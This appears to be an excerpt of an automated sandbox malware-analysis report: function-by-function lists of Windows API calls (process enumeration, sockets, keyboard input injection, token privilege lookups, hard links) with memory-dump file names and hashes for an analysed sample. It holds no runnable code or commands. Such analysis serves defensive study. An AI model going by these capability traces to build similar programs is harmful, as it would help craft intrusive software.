CLSIDFromProgID.OLE32(?,?,00000000,00FCCC40,000000FF,?,00000000,00000800,00000000,?,00FCFC08,?), ref: 00F9062D
_memcmp.LIBVCRUNTIME ref: 00F9064E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 92ae87863a495b29ef2d9bcff8561358fd805c13720f4551e46a7b9b59f57a4f
Instruction ID: 3be96a316969fd47948b5f153b0480f2a9617160e179b2de2673cb55748e5ac8
Opcode Fuzzy Hash: 92ae87863a495b29ef2d9bcff8561358fd805c13720f4551e46a7b9b59f57a4f
Instruction Fuzzy Hash: 2B810671A00109EFDF04DF94C984EEEB7B9FF89315F244598E506AB250DB71AE06DB60

Function 00FBA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00FBA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00FBA6BA

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Process32NextW.KERNEL32(00000000,?), ref: 00FBA79C
CloseHandle.KERNEL32(00000000), ref: 00FBA7AB

Part of subcall function 00F4CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00F73303,?), ref: 00F4CE8A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 39a9f72bc7643a8a32814333bb210183cd979da637ae8d77f30d40b151531f42
Instruction ID: e952985726c4c6164ac70ecce323637fe16b94d1d9661649b42a205d0cfb413f
Opcode Fuzzy Hash: 39a9f72bc7643a8a32814333bb210183cd979da637ae8d77f30d40b151531f42
Instruction Fuzzy Hash: 55514A71508300AFD710EF25CC86A6BBBE8FF89764F40891DF98997261EB74D904DB92

Function 00F71391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F714C0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 45dd52bc277abc44171b19370028dbc6b263b63f58575fd09b55dbae38520e62
Instruction ID: 05494fe114e7ecd7b13d5a6bf4f518c400be1d326ba01e6b5c6a21c075082c78
Opcode Fuzzy Hash: 45dd52bc277abc44171b19370028dbc6b263b63f58575fd09b55dbae38520e62
Instruction Fuzzy Hash: A3414B72A001006BDB25EFBC9C46AAE3AA5FF42770F14C267F91DD3191E678484D7263

Function 00FC6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FC62E2
ScreenToClient.USER32(?,?), ref: 00FC6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00FC6382

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 1b5d700d0dfe11628755d150dddcad2f4e95233dacf4b28a84ffc6fe2c5469d2
Instruction ID: bf83720ceec6ca5109f84a9acb3aaa16d93d31e14db46e4f098114a5e3102ec3
Opcode Fuzzy Hash: 1b5d700d0dfe11628755d150dddcad2f4e95233dacf4b28a84ffc6fe2c5469d2
Instruction Fuzzy Hash: 35512974A0424AAFCF24DF54DA82EAE7BB5EB85360F10815DF855D7290D730ED41EB90

Function 00FB1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00FB1AFD
WSAGetLastError.WSOCK32 ref: 00FB1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00FB1B8A
WSAGetLastError.WSOCK32 ref: 00FB1B94

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: e88621152209e5ef7fa380af039d79caa9ebe4d1dc63a2c984a63505037064aa
Instruction ID: f063d57c0ef76b605c32fc25a43d85fd37c5de1175585ab9d38cb90267ea0ecc
Opcode Fuzzy Hash: e88621152209e5ef7fa380af039d79caa9ebe4d1dc63a2c984a63505037064aa
Instruction Fuzzy Hash: 7B41D175600200AFE720AF20CC86F6A7BE5AB84728F54C44CFA1A9F7D2D776DD419B90

Function 00F6B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5de933fc2a69f588e7fa42309e840968b18bd5b12c63ab7d53002d7bd5fb337b
Instruction ID: 6c3c73fe338719740ba25122972b498e1e4f57cf0753cbb5d6e54ddd09d620c5
Opcode Fuzzy Hash: 5de933fc2a69f588e7fa42309e840968b18bd5b12c63ab7d53002d7bd5fb337b
Instruction Fuzzy Hash: AD415C71A00314BFD724EF38CC41BAA7BE9EB84720F10852EF546DB282D775A941A790

Function 00FA56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00FA5783
GetLastError.KERNEL32(?,00000000), ref: 00FA57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00FA57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00FA57FA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 988a562bf4042f3a6119665eaa9470cb38901522df2337f4ac197d54f6682959
Instruction ID: c4d1088c09934395c5e1108c997bcbc14161476c46c18b3feec1b7880874e4b1
Opcode Fuzzy Hash: 988a562bf4042f3a6119665eaa9470cb38901522df2337f4ac197d54f6682959
Instruction Fuzzy Hash: FA415079600614DFCF14EF15C545A5DBBE1EF49720F188488E94AAB365CB38FD00EB91

Function 00F6D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00F56D71,00000000,00000000,00F582D9,?,00F582D9,?,00000001,00F56D71,8BE85006,00000001,00F582D9,00F582D9), ref: 00F6D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F6D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00F6D9AB
__freea.LIBCMT ref: 00F6D9B4

Part of subcall function 00F63820: RtlAllocateHeap.NTDLL(00000000,?,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6,?,00F31129), ref: 00F63852

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 610af1e008eadf5144d6936ea13cbe5f498beccbecf8cccf8deb520ec823ef2e
Instruction ID: 343bbbc2808ad964d4fa05fa913f449d35f20d184cc2418da1e1659ab40003a4
Opcode Fuzzy Hash: 610af1e008eadf5144d6936ea13cbe5f498beccbecf8cccf8deb520ec823ef2e
Instruction Fuzzy Hash: DF31AD72E0020AABDB249F65DC45EAF7BA5EB41760B054168FC08D7250EB39DD54EBA0

Function 00FC52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00FC5352
GetWindowLongW.USER32(?,000000F0), ref: 00FC5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FC5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00FC53A8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: f330c96ec31f7fac195330eb1ec34079432ea5c990695ea256f4224f2cfc17e2
Instruction ID: 2f15c45d5230e1203f65f9ccce4913eeb304e6964b833b42361a5eee89fab928
Opcode Fuzzy Hash: f330c96ec31f7fac195330eb1ec34079432ea5c990695ea256f4224f2cfc17e2
Instruction Fuzzy Hash: 4831F431F55A4AAFEB349A54CE07FE83763AB04BA0F584109FA54861D1C7B5B9C0BB41

Function 00F9AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00F9ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00F9AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00F9AC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00F9ACC6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ac7fb27e375aa883a92a70b4d75d9b030f516400b4c1bf5d635df5d49db35795
Instruction ID: 705542e6f9446113ed645ee0f96bda573398a2957e515c6cd753d3285f1a216b
Opcode Fuzzy Hash: ac7fb27e375aa883a92a70b4d75d9b030f516400b4c1bf5d635df5d49db35795
Instruction Fuzzy Hash: FE310530E04718AFFF35CB658C05BFA7BA5AB89321F04471AE4859A1D1C379C985B7E2

Function 00FC7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00FC769A
GetWindowRect.USER32(?,?), ref: 00FC7710
PtInRect.USER32(?,?,00FC8B89), ref: 00FC7720
MessageBeep.USER32(00000000), ref: 00FC778C

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 57f80ab76b4b377d76344c180b6a67b8dfdbd0873dc88378e98086c01b204c0e
Instruction ID: 2706c54389c97afd460ffaaf5805b87cd334c78682ba863188766b506fab85a8
Opcode Fuzzy Hash: 57f80ab76b4b377d76344c180b6a67b8dfdbd0873dc88378e98086c01b204c0e
Instruction Fuzzy Hash: 53419F34A0531AAFCB11EF68CA86FA9BBF4BF48310F1440ACE4549B251C335E941EF90

Function 00FC16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00FC16EB

Part of subcall function 00F93A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F93A57
Part of subcall function 00F93A3D: GetCurrentThreadId.KERNEL32 ref: 00F93A5E
Part of subcall function 00F93A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00F925B3), ref: 00F93A65

GetCaretPos.USER32(?), ref: 00FC16FF
ClientToScreen.USER32(00000000,?), ref: 00FC174C
GetForegroundWindow.USER32 ref: 00FC1752

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: eaac3cd5f3c66db447d64c0b11e089de4fce33e396c2a38ec1774a330176d5e2
Instruction ID: c81cc2dbdc9121c65e2ef24a6afc1ade7a166ade41c80ec209fe53d5728002a5
Opcode Fuzzy Hash: eaac3cd5f3c66db447d64c0b11e089de4fce33e396c2a38ec1774a330176d5e2
Instruction Fuzzy Hash: B9316FB5D00209AFCB04EFA9C981DAEBBF9EF49314B5080A9E415E7212D735DE45DFA0

Function 00F9DF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00F37620: _wcslen.LIBCMT ref: 00F37625

_wcslen.LIBCMT ref: 00F9DFCB
_wcslen.LIBCMT ref: 00F9DFE2
_wcslen.LIBCMT ref: 00F9E00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00F9E018

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 96349abc9c45f28996afa555ee2a5c09e9808039aec99da0667e4e02b6860f51
Instruction ID: f4baf9ce8b74a74d5755c9aa9d13bdbced03fed78760c7b16fd475423d02ae74
Opcode Fuzzy Hash: 96349abc9c45f28996afa555ee2a5c09e9808039aec99da0667e4e02b6860f51
Instruction Fuzzy Hash: 0521E571D00214AFDF20DFA8CD82B6EB7F8EF85720F144065E905BB245D6749E45EBA1

Function 00FC8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

GetCursorPos.USER32(?), ref: 00FC9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00F87711,?,?,?,?,?), ref: 00FC9016
GetCursorPos.USER32(?), ref: 00FC905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00F87711,?,?,?), ref: 00FC9094

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 6ec8b9c1d8a60871e04ae01a5d36c1ceff41918a6dbb61b24890c8a92ddd5717
Instruction ID: da46561950884c40e9e33c2e754a0a8d6e17880cfdd9a247b78716adc36e45a0
Opcode Fuzzy Hash: 6ec8b9c1d8a60871e04ae01a5d36c1ceff41918a6dbb61b24890c8a92ddd5717
Instruction Fuzzy Hash: 4321A135A04018FFDB268FA4C95AFFA7BB9EF89360F044059F90547261C3759990FBA0

Function 00F9D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00FCCB68), ref: 00F9D2FB
GetLastError.KERNEL32 ref: 00F9D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F9D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00FCCB68), ref: 00F9D376

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 97040ad723ebd0b6d1df70264071991255904af57961bbcc0e5cf465db70b37a
Instruction ID: df3759248d71d8651e3de0c0996159e0b962174c1ad243e89a264bb905beadce
Opcode Fuzzy Hash: 97040ad723ebd0b6d1df70264071991255904af57961bbcc0e5cf465db70b37a
Instruction Fuzzy Hash: 8F21A370908201DF9B00DF24C981CAA77E4EF95375F604A1DF499C32A1D731D946EB93

Function 00F91571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F91014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F9102A
Part of subcall function 00F91014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F91036
Part of subcall function 00F91014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F91045
Part of subcall function 00F91014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F9104C
Part of subcall function 00F91014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F91062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00F915BE
_memcmp.LIBVCRUNTIME ref: 00F915E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F91617
HeapFree.KERNEL32(00000000), ref: 00F9161E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: d1903b948c66c0b1005c146cb2111eef9e686bca703b2126e95ed651a1df688e
Instruction ID: bc1e9651343886d12b2cced1c69e201e80e31b4ea2c2869d1f33eb5c388694b6
Opcode Fuzzy Hash: d1903b948c66c0b1005c146cb2111eef9e686bca703b2126e95ed651a1df688e
Instruction Fuzzy Hash: 6D219D31E4010AEFEF10DFA5C945BEEB7B8FF44354F094469E445AB241E730AA05EBA0

Function 00FC2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00FC280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00FC2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00FC2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00FC2840

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 34bc10ec2f872d5f1926cb528b82e9764cef59bdbdaf211d9ff86f1a119c44b8
Instruction ID: 90ae92ab2bbb8444204a605236d93b3d63febed4131398b61940ba9cb78cca3c
Opcode Fuzzy Hash: 34bc10ec2f872d5f1926cb528b82e9764cef59bdbdaf211d9ff86f1a119c44b8
Instruction Fuzzy Hash: 04212131204112AFD7549B24CD82FAA7B95EF85324F18810CF42A8B6E2CB75FC42DBD0

Function 00F978F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F98D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00F9790A,?,000000FF,?,00F98754,00000000,?,0000001C,?,?), ref: 00F98D8C
